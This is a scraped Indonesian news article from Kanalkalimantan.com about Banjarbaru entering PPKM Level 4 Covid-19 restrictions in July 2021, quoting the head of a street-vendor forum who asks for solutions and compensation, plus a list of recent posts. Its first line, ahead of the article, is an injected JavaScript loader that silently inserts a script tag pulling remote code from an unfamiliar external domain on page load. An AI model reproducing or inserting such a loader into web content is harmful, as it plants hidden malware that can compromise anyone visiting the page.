(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Banjarbaru PPKM Level 4, Ketua PKL Forkamu Berharap Ada Solusi dan Kompensasi bagi PedagangÂ


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru segera menerapkan PPKM Level 4 tanggal 26 Juli hingga 2 Agustus mendatang. Sejumlah aturan ketat yang tercantum dalam instruksi Menteri Dalam Negeri Nomor 22 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Level 4 Covid-19, akan membatasi ruang gerak masyarakat. Lalu, bagaimana tanggapan warga Banjarbaru?

Pada aturan Inmendagri tersebut, di poin 8 menyebutkan bahwa pelaksanaan kegiatan makan atau minum di tempat umum (warung makan, rumah makan, kafe, pedagang kaki lima, lapak jajanan) baik yang berada pada lokasi tersendiri maupun yang berlokasi pada pusat perbelanjaan atau mall hanya menerima delivery atau take away dan tidak menerima makan di tempat.

Aturan ini berdampak sangat besar terhadap para pegiat usaha jajanan pinggir jalan, khususnya di tempat-tempat berkumpul seperti taman kota.

Baca juga: LOWONGAN NAKES. Sejumlah Nakes Terpapar Covid-19, RSD Idaman Cari 15 Tenaga Medis Baru!

 

 

Menanggapi hal ini Ketua PKL Forkamu (Forum Pedagang Kaki Lima Lapangan Murjani), Dian Wahyudi mengatakan masih menunggu surat resmi dari dinas terkait.

“Kebijakan PPKM Level 4 secara tertulis dari suratnya belum kami terima, jadi belum bisa diceritakan dampaknya karena belum dirasakan,” ujarnya kepada Kanalkalimantan.com saat dihubungi Jumat (23/7/2021) malam.

“Kalau yang dari kami baca dan dengar di media, nggak boleh makan di tempat kan? Tapi untuk jam terkait pembatasannya belum tahu lagi,” kata Dian.

Dian mengeluhkan terkait regulasi PPKM yang seakan tidak menguntungkan sama sekali bagi para pedagang kaki lima. “Nggak ada yang enak dengan PPKM ini, pasti dampak hilangnya pendapatan. Apalagi untuk pejuang nafkah harian seperti kami,” ucapnya.

“Jangan sampai ada peraturan dan lain-lain, tapi tidak ada solusi dan kompensasi!” Tegasnya (Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.